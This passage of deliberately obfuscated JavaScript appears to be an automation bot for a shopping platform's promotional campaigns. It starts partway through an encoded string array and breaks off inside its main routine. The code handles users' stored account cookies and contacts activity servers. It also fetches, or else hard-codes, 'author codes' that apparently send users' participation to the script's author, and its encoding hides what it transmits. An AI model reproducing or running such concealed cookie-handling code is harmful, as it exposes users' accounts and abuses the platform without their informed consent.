d\x32\x59\x7a\x4e\x44\x49\x7a\x4d\x44\x68\x6b\x59\x54\x45\x79\x4f\x44\x64\x68\x4e\x6a\x59\x33\x4d\x44\x49\x77\x4d\x44\x6b\x6d\x63\x32\x6c\x6e\x62\x6c\x56\x31\x61\x57\x51\x39','\x4a\x6e\x4e\x6f\x59\x58\x4a\x6c\x64\x58\x4e\x6c\x63\x6d\x6c\x6b\x4e\x47\x31\x70\x62\x6d\x6c\x77\x5a\x7a\x30\x3d','\x51\x32\x5a\x50\x52\x55\x30\x3d','\x63\x32\x56\x6a\x63\x6d\x56\x30\x55\x47\x6c\x75','\x4a\x6e\x4e\x6f\x62\x33\x42\x70\x5a\x44\x30\x78\x4d\x44\x41\x77\x4d\x44\x45\x30\x4f\x44\x41\x7a\x4a\x6e\x4e\x70\x5a\x44\x30\x6d\x64\x57\x35\x66\x59\x58\x4a\x6c\x59\x54\x30\x3d','\x56\x45\x5a\x59\x64\x45\x4d\x3d','\x64\x32\x46\x70\x64\x41\x3d\x3d','\x63\x33\x42\x73\x61\x58\x51\x3d','\x59\x32\x46\x30\x59\x32\x67\x3d','\x4c\x43\x44\x6c\x70\x4c\x48\x6f\x74\x4b\x55\x68\x49\x4f\x57\x4f\x6e\x2b\x57\x62\x6f\x44\x6f\x67','\x5a\x6d\x6c\x75\x59\x57\x78\x73\x65\x51\x3d\x3d','\x5a\x47\x39\x75\x5a\x51\x3d\x3d','\x61\x47\x56\x68\x5a\x47\x56\x79\x63\x77\x3d\x3d','\x63\x32\x56\x30\x4c\x57\x4e\x76\x62\x32\x74\x70\x5a\x51\x3d\x3d','\x35\x4c\x71\x73\x35\x4c\x69\x63\x36\x4c\x2b\x55\x35\x5a\x75\x65\x35\x4c\x71\x47\x35\x36\x6d\x36\x35\x70\x57\x77\x35\x6f\x32\x75','\x54\x32\x35\x48\x54\x32\x55\x3d','\x35\x59\x36\x37\x35\x59\x71\x70\x35\x59\x71\x62\x49\x43\x30\x2b\x49\x41\x3d\x3d','\x59\x32\x39\x74\x62\x57\x39\x75\x4c\x32\x46\x6a\x59\x32\x56\x7a\x63\x30\x78\x76\x5a\x31\x64\x70\x64\x47\x68\x42\x52\x41\x3d\x3d','\x59\x57\x4e\x30\x61\x58\x5a\x70\x64\x48\x6c\x44\x62\x32\x35\x30\x5a\x57\x35\x30','\x35\x59\x71\x67\x35\x59\x57\x6c\x36\x5a\x69\x66\x35\x4c\x79\x4e\x35\x6f\x69\x51\x35\x59\x71\x66\x37\x37\x79\x4d\x36\x4b\x2b\x33\x35\x36\x32\x4a\x35\x62\x36\x46\x36\x5a\x69\x66\x36\x5a\x57\x2f\x35\x35\x4f\x63\x35\x59\x69\x47\x35\x4c\x71\x73\x36\x4c\x47\x47','\x63\x32\x46\x32\x5a\x55\x4e\x68\x62\x6d\x52\x70\x5a\x47\x46\x30\x5a\x51\x3d\x3d','\x53\x33\x6c\x77\x5a\x48\x45\x3d','\x35\x59\x69\x62\x35\x62\x75\x36\x36\x5a\x69\x66\x35\x4c\x79\x4e','\x63\x32\x46\x32\x5a\x55\x4e\x68\x63\x48\x52\x68\x61\x57\x34\x3d','\x55\x48\x70\x6e\x64\x6b\x73\x3d','\x64\x46\x70\x51\x55\x6d\x45\x3d','\x35\x4c\x32\x67\x35\x62\x65\x79\x35\x37\x75\x50\x35\x70\x69\x76\x36\x5a\x69\x66\x36\x5a\x57\x2f\x35\x4c\x71\x47','\x35\x70\x65\x67\x35\x72\x4f\x56\x35\x59\x71\x67\x35\x59\x57\x6c\x36\x5a\x69\x66\x35\x4c\x79\x4e','\x51\x32\x56\x52\x5a\x6e\x63\x3d','\x35\x70\x79\x71\x36\x49\x4f\x39\x35\x6f\x69\x51\x35\x59\x71\x66\x36\x49\x36\x33\x35\x59\x2b\x57\x35\x59\x69\x77\x35\x72\x53\x37\x35\x59\x71\x6f\x35\x4c\x2b\x68\x35\x6f\x47\x76','\x35\x72\x4b\x68\x35\x70\x79\x4a\x35\x6f\x69\x51\x35\x59\x71\x66\x36\x49\x36\x33\x35\x59\x2b\x57\x35\x59\x69\x77\x35\x35\x53\x6f\x35\x6f\x69\x33\x35\x4c\x2b\x68\x35\x6f\x47\x76','\x61\x48\x4a\x34\x63\x48\x51\x3d','\x35\x72\x4b\x68\x35\x70\x79\x4a\x35\x6f\x69\x51\x35\x59\x71\x66\x36\x49\x36\x33\x35\x59\x2b\x57\x35\x59\x69\x77\x35\x35\x53\x6f\x35\x6f\x69\x33\x36\x59\x6d\x30\x35\x70\x32\x44\x35\x4c\x2b\x68\x35\x6f\x47\x76','\x64\x47\x39\x72\x5a\x57\x34\x3d','\x63\x32\x52\x35\x65\x56\x6b\x3d','\x63\x58\x70\x48\x53\x48\x6b\x3d','\x65\x6b\x35\x76\x62\x56\x59\x3d','\x57\x58\x52\x7a\x53\x32\x6f\x3d','\x64\x6d\x4a\x35\x5a\x57\x77\x3d','\x62\x6c\x56\x30\x64\x55\x73\x3d','\x51\x31\x46\x44\x55\x31\x49\x3d','\x65\x55\x70\x31\x57\x45\x51\x3d','\x64\x6d\x56\x75\x5a\x47\x56\x79\x53\x57\x51\x39\x4d\x54\x41\x77\x4d\x44\x41\x78\x4e\x44\x67\x77\x4d\x79\x5a\x6a\x62\x32\x52\x6c\x50\x54\x6b\x35\x4a\x6e\x42\x70\x62\x6a\x30\x3d','\x54\x6b\x64\x68\x52\x30\x6b\x3d','\x4a\x6d\x46\x6a\x64\x47\x6c\x32\x61\x58\x52\x35\x53\x57\x51\x39\x4e\x54\x4a\x6a\x4d\x44\x63\x78\x4d\x6a\x49\x32\x4d\x32\x59\x7a\x4e\x44\x49\x7a\x4d\x44\x68\x6b\x59\x54\x45\x79\x4f\x44\x64\x68\x4e\x6a\x59\x33\x4d\x44\x49\x77\x4d\x44\x6b\x6d\x63\x47\x46\x6e\x5a\x56\x56\x79\x62\x44\x30\x3d','\x4a\x6e\x4e\x31\x59\x6c\x52\x35\x63\x47\x55\x39\x59\x58\x42\x77\x4a\x6d\x46\x6b\x55\x32\x39\x31\x63\x6d\x4e\x6c\x50\x57\x35\x31\x62\x47\x77\x3d','\x5a\x30\x35\x70\x56\x6e\x49\x3d','\x55\x6b\x46\x56\x56\x30\x55\x3d','\x59\x57\x4e\x30\x61\x58\x5a\x70\x64\x48\x6c\x4a\x5a\x44\x30\x31\x4d\x6d\x4d\x77\x4e\x7a\x45\x79\x4d\x6a\x59\x7a\x5a\x6a\x4d\x30\x4d\x6a\x4d\x77\x4f\x47\x52\x68\x4d\x54\x49\x34\x4e\x32\x45\x32\x4e\x6a\x63\x77\x4d\x6a\x41\x77\x4f\x53\x5a\x77\x61\x57\x34\x39','\x62\x57\x68\x6f\x55\x48\x41\x3d','\x4a\x6e\x4e\x70\x5a\x32\x35\x56\x64\x57\x6c\x6b\x50\x51\x3d\x3d','\x59\x32\x46\x75\x53\x6d\x39\x70\x62\x67\x3d\x3d','\x53\x33\x5a\x49\x54\x55\x34\x3d','\x59\x33\x4e\x55\x53\x57\x45\x3d','\x61\x58\x64\x4c\x54\x6d\x6f\x3d','\x56\x6e\x68\x33\x65\x55\x38\x3d','\x4a\x6e\x42\x70\x62\x6b\x6c\x74\x5a\x7a\x30\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x70\x62\x57\x63\x78\x4d\x43\x34\x7a\x4e\x6a\x42\x69\x64\x58\x6c\x70\x62\x57\x63\x75\x59\x32\x39\x74\x4c\x32\x6c\x74\x5a\x33\x70\x76\x62\x6d\x55\x76\x61\x6d\x5a\x7a\x4c\x33\x51\x78\x4c\x7a\x49\x78\x4d\x7a\x67\x7a\x4c\x7a\x49\x76\x4e\x6a\x59\x7a\x4d\x79\x38\x7a\x4f\x44\x63\x35\x4c\x7a\x56\x6a\x4e\x54\x45\x7a\x4f\x47\x51\x34\x52\x54\x41\x35\x4e\x6a\x64\x6a\x59\x32\x59\x79\x4c\x7a\x6b\x78\x5a\x47\x45\x31\x4e\x32\x4d\x31\x5a\x54\x49\x78\x4e\x6a\x59\x77\x4d\x44\x55\x75\x61\x6e\x42\x6e','\x62\x33\x42\x6c\x62\x6b\x4e\x68\x63\x6d\x51\x3d','\x55\x45\x52\x54\x56\x45\x38\x3d','\x51\x6b\x64\x6f\x62\x48\x55\x3d','\x55\x46\x70\x4d\x56\x33\x45\x3d','\x5a\x6b\x5a\x6d\x51\x6b\x73\x3d','\x59\x32\x46\x75\x51\x33\x4a\x6c\x59\x58\x52\x6c','\x59\x58\x46\x43\x63\x47\x6b\x3d','\x53\x57\x6c\x6f\x65\x47\x30\x3d','\x63\x33\x4e\x4e\x57\x55\x6b\x3d','\x52\x48\x64\x33\x61\x45\x67\x3d','\x54\x31\x42\x4e\x62\x47\x38\x3d','\x61\x55\x4e\x59\x63\x58\x4d\x3d','\x53\x57\x56\x71\x56\x31\x59\x3d','\x56\x56\x42\x57\x56\x48\x67\x3d','\x59\x57\x6c\x52\x62\x57\x38\x3d','\x63\x32\x6c\x6e\x62\x6c\x56\x31\x61\x57\x51\x3d','\x59\x6d\x6c\x75\x5a\x46\x64\x70\x64\x47\x68\x57\x5a\x57\x35\x6b\x5a\x58\x4a\x74\x5a\x58\x4e\x7a\x59\x57\x64\x6c','\x62\x57\x56\x7a\x63\x32\x46\x6e\x5a\x51\x3d\x3d','\x59\x33\x6c\x42\x65\x6b\x6b\x3d','\x54\x55\x6c\x72\x54\x32\x6f\x3d','\x57\x6e\x4a\x52\x57\x57\x34\x3d','\x56\x30\x68\x74\x54\x6d\x77\x3d','\x52\x6d\x56\x75\x51\x57\x67\x3d','\x52\x55\x74\x50\x51\x57\x67\x3d','\x56\x6d\x39\x79\x53\x33\x6f\x3d','\x52\x6d\x5a\x5a\x63\x57\x34\x3d','\x62\x45\x70\x36\x51\x58\x63\x3d','\x64\x46\x46\x45\x53\x56\x4d\x3d','\x52\x55\x64\x4b\x53\x6d\x77\x3d','\x52\x6b\x68\x4c\x62\x45\x6f\x3d','\x64\x6b\x56\x54\x63\x32\x34\x3d','\x54\x57\x39\x36\x61\x57\x78\x73\x59\x53\x38\x31\x4c\x6a\x41\x67\x4b\x47\x6c\x51\x61\x47\x39\x75\x5a\x54\x73\x67\x51\x31\x42\x56\x49\x47\x6c\x51\x61\x47\x39\x75\x5a\x53\x42\x50\x55\x79\x41\x78\x4d\x31\x38\x79\x58\x7a\x4d\x67\x62\x47\x6c\x72\x5a\x53\x42\x4e\x59\x57\x4d\x67\x54\x31\x4d\x67\x57\x43\x6b\x67\x51\x58\x42\x77\x62\x47\x56\x58\x5a\x57\x4a\x4c\x61\x58\x51\x76\x4e\x6a\x41\x31\x4c\x6a\x45\x75\x4d\x54\x55\x67\x4b\x45\x74\x49\x56\x45\x31\x4d\x4c\x43\x42\x73\x61\x57\x74\x6c\x49\x45\x64\x6c\x59\x32\x74\x76\x4b\x53\x42\x57\x5a\x58\x4a\x7a\x61\x57\x39\x75\x4c\x7a\x45\x7a\x4c\x6a\x41\x75\x4d\x79\x42\x4e\x62\x32\x4a\x70\x62\x47\x55\x76\x4d\x54\x56\x46\x4d\x54\x51\x34\x49\x46\x4e\x68\x5a\x6d\x46\x79\x61\x53\x38\x32\x4d\x44\x51\x75\x4d\x53\x42\x46\x5a\x47\x63\x76\x4f\x44\x63\x75\x4d\x43\x34\x30\x4d\x6a\x67\x77\x4c\x6a\x67\x34','\x5a\x56\x46\x4d\x5a\x6c\x55\x3d','\x5a\x32\x56\x30','\x59\x31\x56\x52\x54\x55\x6f\x3d','\x56\x48\x70\x79\x62\x6d\x6b\x3d','\x61\x30\x64\x4f\x59\x6e\x55\x3d','\x35\x4c\x32\x67\x35\x61\x57\x39\x37\x37\x79\x61','\x63\x47\x6c\x75','\x4f\x30\x46\x56\x56\x45\x68\x66\x51\x31\x39\x56\x55\x30\x56\x53\x50\x51\x3d\x3d','\x62\x6b\x56\x58\x64\x47\x63\x3d','\x64\x6e\x46\x68\x55\x6e\x59\x3d','\x62\x45\x4e\x6b\x56\x47\x55\x3d','\x63\x47\x46\x79\x63\x32\x55\x3d','\x56\x48\x70\x69\x59\x56\x63\x3d','\x62\x47\x39\x6e\x52\x58\x4a\x79','\x63\x6d\x56\x7a\x64\x57\x78\x30','\x61\x57\x35\x30\x5a\x58\x4a\x6c\x63\x33\x52\x7a\x55\x6e\x56\x73\x5a\x55\x78\x70\x63\x33\x51\x3d','\x62\x33\x42\x6c\x62\x6b\x4e\x68\x63\x6d\x52\x42\x59\x33\x52\x70\x64\x6d\x6c\x30\x65\x55\x6c\x6b','\x61\x57\x35\x30\x5a\x58\x4a\x6c\x63\x33\x52\x7a\x53\x57\x35\x6d\x62\x77\x3d\x3d','\x57\x6e\x68\x71\x55\x57\x51\x3d','\x57\x58\x52\x6a\x61\x33\x51\x3d','\x63\x32\x31\x4d\x54\x45\x6b\x3d','\x62\x31\x5a\x78\x55\x30\x34\x3d','\x35\x59\x69\x62\x35\x62\x75\x36\x36\x5a\x69\x66\x35\x4c\x79\x4e\x35\x6f\x69\x51\x35\x59\x71\x66','\x62\x46\x56\x6f\x52\x55\x73\x3d','\x64\x58\x42\x6b\x59\x58\x52\x6c\x51\x32\x46\x77\x64\x47\x46\x70\x62\x67\x3d\x3d','\x64\x33\x68\x42\x59\x33\x52\x70\x62\x32\x35\x44\x62\x32\x31\x74\x62\x32\x34\x76\x5a\x32\x56\x30\x56\x58\x4e\x6c\x63\x6b\x6c\x75\x5a\x6d\x38\x3d','\x54\x56\x46\x5a\x65\x56\x59\x3d','\x63\x6d\x70\x6a\x65\x58\x49\x3d','\x56\x30\x4a\x6c\x5a\x55\x6b\x3d','\x52\x6d\x74\x70\x56\x30\x30\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x70\x62\x57\x63\x78\x4d\x43\x34\x7a\x4e\x6a\x42\x69\x64\x58\x6c\x70\x62\x57\x63\x75\x59\x32\x39\x74\x4c\x32\x6c\x74\x5a\x33\x70\x76\x62\x6d\x55\x76\x61\x6d\x5a\x7a\x4c\x33\x51\x78\x4c\x7a\x63\x77\x4d\x6a\x41\x76\x4d\x6a\x63\x76\x4d\x54\x4d\x31\x4d\x54\x45\x76\x4e\x6a\x45\x30\x4d\x69\x38\x31\x59\x7a\x55\x78\x4d\x7a\x68\x6b\x4f\x45\x55\x30\x5a\x47\x59\x79\x5a\x54\x63\x32\x4e\x43\x38\x31\x59\x54\x45\x79\x4d\x54\x5a\x68\x4d\x32\x45\x31\x4d\x44\x51\x7a\x59\x7a\x56\x6b\x4c\x6e\x42\x75\x5a\x77\x3d\x3d','\x52\x6d\x64\x70\x55\x6e\x45\x3d','\x57\x58\x46\x48\x56\x6e\x55\x3d','\x64\x32\x74\x79\x57\x6e\x6b\x3d','\x61\x45\x64\x58\x5a\x47\x67\x3d','\x56\x45\x70\x43\x59\x57\x77\x3d','\x63\x6d\x74\x4d\x64\x56\x6b\x3d','\x64\x32\x5a\x42\x65\x55\x51\x3d','\x5a\x6b\x39\x49\x53\x46\x51\x3d','\x52\x48\x4a\x44\x61\x6d\x63\x3d','\x54\x57\x4a\x4f\x64\x48\x59\x3d','\x64\x58\x42\x57\x56\x56\x67\x3d','\x64\x47\x74\x7a\x62\x48\x59\x3d','\x59\x6c\x42\x33\x54\x6d\x34\x3d','\x61\x56\x4a\x77\x65\x55\x38\x3d','\x64\x46\x42\x78\x55\x47\x51\x3d','\x54\x33\x42\x71\x56\x47\x77\x3d','\x53\x47\x6c\x6b\x54\x33\x45\x3d','\x53\x6b\x35\x34\x61\x6b\x63\x3d','\x55\x45\x68\x44\x61\x48\x41\x3d','\x55\x31\x70\x33\x56\x55\x51\x3d','\x62\x6e\x68\x34\x63\x31\x51\x3d','\x53\x55\x74\x59\x57\x57\x55\x3d','\x51\x6d\x74\x77\x65\x48\x41\x3d','\x52\x57\x46\x58\x62\x45\x30\x3d','\x56\x30\x64\x51\x63\x48\x59\x3d','\x61\x6b\x70\x70\x65\x6b\x59\x3d','\x56\x6d\x4a\x70\x61\x32\x30\x3d','\x63\x46\x64\x54\x54\x46\x67\x3d','\x63\x47\x39\x7a\x64\x41\x3d\x3d','\x62\x56\x42\x74\x61\x30\x6b\x3d','\x65\x55\x68\x43\x5a\x6b\x6b\x3d','\x5a\x6e\x52\x77\x52\x30\x51\x3d','\x5a\x31\x46\x61\x5a\x32\x49\x3d','\x64\x47\x46\x34\x5a\x31\x45\x3d','\x52\x45\x35\x74\x5a\x45\x73\x3d','\x64\x30\x56\x71\x63\x32\x59\x3d','\x52\x6e\x6c\x36\x52\x32\x67\x3d','\x64\x55\x46\x54\x52\x6b\x45\x3d','\x53\x32\x31\x58\x55\x33\x67\x3d','\x56\x45\x74\x72\x59\x32\x38\x3d','\x59\x57\x4e\x30\x62\x33\x4a\x56\x64\x57\x6c\x6b','\x56\x48\x5a\x59\x56\x31\x55\x3d','\x55\x47\x4e\x4c\x54\x6c\x63\x3d','\x62\x30\x52\x6a\x56\x58\x51\x3d','\x52\x31\x4a\x32\x64\x57\x77\x3d','\x5a\x56\x52\x4e\x65\x46\x59\x3d','\x62\x55\x5a\x6e\x57\x45\x77\x3d','\x54\x57\x52\x42\x54\x56\x63\x3d','\x65\x58\x56\x75\x54\x57\x6c\x6b\x53\x57\x31\x68\x5a\x32\x56\x56\x63\x6d\x77\x3d','\x62\x47\x64\x32\x62\x32\x6b\x3d','\x54\x48\x42\x49\x51\x6d\x55\x3d','\x5a\x58\x4a\x79\x62\x33\x4a\x4e\x5a\x58\x4e\x7a\x59\x57\x64\x6c','\x63\x47\x6c\x75\x53\x57\x31\x6e','\x56\x48\x64\x31\x52\x48\x4d\x3d','\x51\x30\x46\x43\x65\x47\x49\x3d','\x63\x47\x39\x53\x54\x30\x30\x3d','\x62\x32\x78\x49\x54\x6c\x45\x3d','\x63\x33\x52\x79\x61\x57\x35\x6e\x61\x57\x5a\x35','\x5a\x32\x78\x4d\x55\x6d\x34\x3d','\x59\x32\x39\x6b\x5a\x51\x3d\x3d','\x54\x58\x6c\x68\x53\x30\x38\x3d','\x62\x48\x70\x72\x61\x6d\x52\x36\x4c\x57\x6c\x7a\x64\x69\x35\x70\x63\x33\x5a\x71\x59\x32\x78\x76\x64\x57\x51\x75\x59\x32\x39\x74','\x59\x58\x42\x77\x62\x47\x6c\x6a\x59\x58\x52\x70\x62\x32\x34\x76\x61\x6e\x4e\x76\x62\x67\x3d\x3d','\x57\x45\x31\x4d\x53\x48\x52\x30\x63\x46\x4a\x6c\x63\x58\x56\x6c\x63\x33\x51\x3d','\x65\x6d\x67\x74\x59\x32\x34\x3d','\x5a\x33\x70\x70\x63\x43\x77\x67\x5a\x47\x56\x6d\x62\x47\x46\x30\x5a\x53\x77\x67\x59\x6e\x49\x3d','\x59\x58\x42\x77\x62\x47\x6c\x6a\x59\x58\x52\x70\x62\x32\x34\x76\x65\x43\x31\x33\x64\x33\x63\x74\x5a\x6d\x39\x79\x62\x53\x31\x31\x63\x6d\x78\x6c\x62\x6d\x4e\x76\x5a\x47\x56\x6b','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x73\x65\x6d\x74\x71\x5a\x48\x6f\x74\x61\x58\x4e\x32\x4c\x6d\x6c\x7a\x64\x6d\x70\x6a\x62\x47\x39\x31\x5a\x43\x35\x6a\x62\x32\x31\x74','\x61\x32\x56\x6c\x63\x43\x31\x68\x62\x47\x6c\x32\x5a\x51\x3d\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x73\x65\x6d\x74\x71\x5a\x48\x6f\x74\x61\x58\x4e\x32\x4c\x6d\x6c\x7a\x64\x6d\x70\x6a\x62\x47\x39\x31\x5a\x43\x35\x6a\x62\x32\x30\x76','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x73\x65\x6d\x74\x71\x5a\x48\x6f\x74\x61\x58\x4e\x32\x4c\x6d\x6c\x7a\x64\x6d\x70\x6a\x62\x47\x39\x31\x5a\x43\x35\x6a\x62\x32\x30\x76\x63\x47\x39\x76\x62\x43\x38\x3d','\x56\x6e\x52\x5a\x65\x6b\x34\x3d','\x55\x46\x42\x33\x5a\x30\x45\x3d','\x54\x30\x78\x44\x52\x56\x6f\x3d','\x59\x6e\x6c\x42\x62\x31\x41\x3d','\x62\x33\x4e\x61\x57\x47\x59\x3d','\x62\x6b\x31\x47\x64\x30\x63\x3d','\x52\x47\x5a\x6e\x53\x6e\x4d\x3d','\x61\x6d\x52\x68\x63\x48\x41\x37\x61\x56\x42\x6f\x62\x32\x35\x6c\x4f\x7a\x6b\x75\x4e\x53\x34\x30\x4f\x7a\x45\x7a\x4c\x6a\x59\x37','\x4f\x32\x35\x6c\x64\x48\x64\x76\x63\x6d\x73\x76\x64\x32\x6c\x6d\x61\x54\x74\x42\x52\x45\x6c\x45\x4c\x77\x3d\x3d','\x4f\x32\x31\x76\x5a\x47\x56\x73\x4c\x32\x6c\x51\x61\x47\x39\x75\x5a\x54\x45\x77\x4c\x44\x4d\x37\x59\x57\x52\x6b\x63\x6d\x56\x7a\x63\x32\x6c\x6b\x4c\x7a\x41\x37\x59\x58\x42\x77\x51\x6e\x56\x70\x62\x47\x51\x76\x4d\x54\x59\x33\x4e\x6a\x59\x34\x4f\x32\x70\x6b\x55\x33\x56\x77\x63\x47\x39\x79\x64\x45\x52\x68\x63\x6d\x74\x4e\x62\x32\x52\x6c\x4c\x7a\x41\x37\x54\x57\x39\x36\x61\x57\x78\x73\x59\x53\x38\x31\x4c\x6a\x41\x67\x4b\x47\x6c\x51\x61\x47\x39\x75\x5a\x54\x73\x67\x51\x31\x42\x56\x49\x47\x6c\x51\x61\x47\x39\x75\x5a\x53\x42\x50\x55\x79\x41\x78\x4d\x31\x38\x32\x49\x47\x78\x70\x61\x32\x55\x67\x54\x57\x46\x6a\x49\x45\x39\x54\x49\x46\x67\x70\x49\x45\x46\x77\x63\x47\x78\x6c\x56\x32\x56\x69\x53\x32\x6c\x30\x4c\x7a\x59\x77\x4e\x53\x34\x78\x4c\x6a\x45\x31\x49\x43\x68\x4c\x53\x46\x52\x4e\x54\x43\x77\x67\x62\x47\x6c\x72\x5a\x53\x42\x48\x5a\x57\x4e\x72\x62\x79\x6b\x67\x54\x57\x39\x69\x61\x57\x78\x6c\x4c\x7a\x45\x31\x52\x54\x45\x30\x4f\x44\x74\x7a\x64\x58\x42\x77\x62\x33\x4a\x30\x53\x6b\x52\x54\x53\x46\x64\x4c\x4c\x7a\x45\x3d','\x51\x30\x74\x48\x53\x47\x38\x3d','\x59\x32\x39\x76\x61\x32\x6c\x6c','\x53\x33\x70\x70\x54\x55\x38\x3d','\x55\x32\x56\x30\x4c\x55\x4e\x76\x62\x32\x74\x70\x5a\x51\x3d\x3d','\x56\x45\x64\x36\x57\x57\x49\x3d','\x62\x6e\x4a\x44\x61\x6c\x41\x3d','\x56\x58\x5a\x73\x59\x6e\x6b\x3d','\x65\x47\x4a\x58\x65\x6c\x51\x3d','\x54\x47\x35\x47\x51\x55\x59\x3d','\x64\x57\x74\x7a\x5a\x55\x34\x3d','\x6a\x47\x73\x6a\x69\x61\x6d\x69\x51\x66\x2e\x74\x63\x51\x6f\x4d\x41\x6d\x6c\x48\x75\x50\x2e\x76\x36\x3d\x3d'];if(function(_0x57066c,_0x2caa8b,_0x49c8e5){function _0x5d19b4(_0x48a051,_0x32a316,_0x21ff9a,_0x5a3465,_0x21d0f5,_0x11950a){_0x32a316=_0x32a316>>0x8,_0x21d0f5='po';var _0x200439='shift',_0x298b1d='push',_0x11950a='0.jyc5mk8ldsm';if(_0x32a316<_0x48a051){while(--_0x48a051){_0x5a3465=_0x57066c[_0x200439]();if(_0x32a316===_0x48a051&&_0x11950a==='0.jyc5mk8ldsm'&&_0x11950a['length']===0xd){_0x32a316=_0x5a3465,_0x21ff9a=_0x57066c[_0x21d0f5+'p']();}else if(_0x32a316&&_0x21ff9a['replace'](/[GQftQMAlHuP=]/g,'')===_0x32a316){_0x57066c[_0x298b1d](_0x5a3465);}}_0x57066c[_0x298b1d](_0x57066c[_0x200439]());}return 0xe4cd7;};return _0x5d19b4(++_0x2caa8b,_0x49c8e5)>>_0x2caa8b^_0x49c8e5;}(_0x5ec0,0x123,0x12300),_0x5ec0){_0xod8_=_0x5ec0['length']^0x123;};function _0x551f(_0x3d7a6f,_0x2ae653){_0x3d7a6f=~~'0x'['concat'](_0x3d7a6f['slice'](0x0));var _0x1fda4f=_0x5ec0[_0x3d7a6f];if(_0x551f['gUMSOV']===undefined){(function(){var _0x2b411e=function(){var _0xa9dc22;try{_0xa9dc22=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x538a93){_0xa9dc22=window;}return _0xa9dc22;};var _0x50a0b1=_0x2b411e();var _0x4cbaed='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x50a0b1['atob']||(_0x50a0b1['atob']=function(_0x25d5f6){var _0x1d4258=String(_0x25d5f6)['replace'](/=+$/,'');for(var _0x7076dc=0x0,_0xe369f7,_0x223992,_0x90e21=0x0,_0x5467e5='';_0x223992=_0x1d4258['charAt'](_0x90e21++);~_0x223992&&(_0xe369f7=_0x7076dc%0x4?_0xe369f7*0x40+_0x223992:_0x223992,_0x7076dc++%0x4)?_0x5467e5+=String['fromCharCode'](0xff&_0xe369f7>>(-0x2*_0x7076dc&0x6)):0x0){_0x223992=_0x4cbaed['indexOf'](_0x223992);}return _0x5467e5;});}());_0x551f['tUZoFZ']=function(_0x510fc6){var _0x2e94c9=atob(_0x510fc6);var _0x20c7c4=[];for(var _0x4a344f=0x0,_0x463ee2=_0x2e94c9['length'];_0x4a344f<_0x463ee2;_0x4a344f++){_0x20c7c4+='%'+('00'+_0x2e94c9['charCodeAt'](_0x4a344f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x20c7c4);};_0x551f['brrxTj']={};_0x551f['gUMSOV']=!![];}var _0xe6da40=_0x551f['brrxTj'][_0x3d7a6f];if(_0xe6da40===undefined){_0x1fda4f=_0x551f['tUZoFZ'](_0x1fda4f);_0x551f['brrxTj'][_0x3d7a6f]=_0x1fda4f;}else{_0x1fda4f=_0xe6da40;}return _0x1fda4f;};!(async()=>{var _0x54ef6d={'\x6f\x45\x4d\x45\x42':_0x551f('0'),'\x58\x54\x74\x52\x42':_0x551f('1'),'\x52\x6e\x73\x70\x4e':function(_0x1deaea,_0x6cd91d){return _0x1deaea(_0x6cd91d);},'\x45\x62\x4e\x64\x63':_0x551f('2'),'\x48\x50\x45\x4d\x5a':function(_0x21a4c1,_0x4611ef){return _0x21a4c1===_0x4611ef;},'\x76\x49\x74\x44\x7a':function(_0x3594fa,_0x3a6962){return _0x3594fa===_0x3a6962;},'\x72\x79\x75\x5a\x56':_0x551f('3'),'\x53\x69\x79\x42\x5a':_0x551f('4'),'\x7a\x4f\x47\x54\x78':_0x551f('5'),'\x6a\x66\x71\x78\x46':_0x551f('6'),'\x6a\x41\x55\x7a\x69':function(_0x4356fb,_0x2d96c0){return _0x4356fb<_0x2d96c0;},'\x4d\x4f\x79\x52\x68':_0x551f('7'),'\x45\x6d\x47\x52\x64':function(_0x2e416d,_0x20c353){return _0x2e416d+_0x20c353;},'\x4c\x6c\x6a\x47\x6a':function(_0x1ca09c){return _0x1ca09c();},'\x50\x66\x6d\x59\x63':function(_0x1df7b2,_0x306b1d,_0x1fee05){return _0x1df7b2(_0x306b1d,_0x1fee05);},'\x76\x70\x62\x65\x76':_0x551f('8'),'\x55\x64\x65\x44\x66':function(_0x1381e9,_0x308561){return _0x1381e9(_0x308561);},'\x4a\x55\x50\x57\x69':_0x551f('9'),'\x4a\x6f\x53\x59\x4a':function(_0x3b7b7c,_0x38b393,_0x41d2bb){return _0x3b7b7c(_0x38b393,_0x41d2bb);},'\x4e\x63\x54\x72\x76':_0x551f('a'),'\x79\x77\x51\x7a\x73':_0x551f('b'),'\x43\x66\x4f\x45\x4d':function(_0x23e383,_0x39f75a){return _0x23e383(_0x39f75a);},'\x54\x46\x58\x74\x43':function(_0x3e6ff4){return _0x3e6ff4();}};if(!cookiesArr[0x0]){$[_0x551f('c')]($[_0x551f('d')],_0x54ef6d[_0x551f('e')],_0x54ef6d[_0x551f('f')],{'open-url':_0x54ef6d[_0x551f('f')]});return;}$[_0x551f('10')]=![];console[_0x551f('11')](activityList[activityNum]);authorCodeList=await _0x54ef6d[_0x551f('12')](getAuthorCodeList,_0x54ef6d[_0x551f('13')]);if(_0x54ef6d[_0x551f('14')]($[_0x551f('10')],![])){if(_0x54ef6d[_0x551f('15')](_0x54ef6d[_0x551f('16')],_0x54ef6d[_0x551f('16')])){authorCodeList=[_0x54ef6d[_0x551f('17')],_0x54ef6d[_0x551f('18')],_0x54ef6d[_0x551f('19')]];}else{$[_0x551f('1a')]=data[_0x551f('1b')][_0x551f('1c')][_0x551f('1d')][_0x551f('1e')];}}for(let 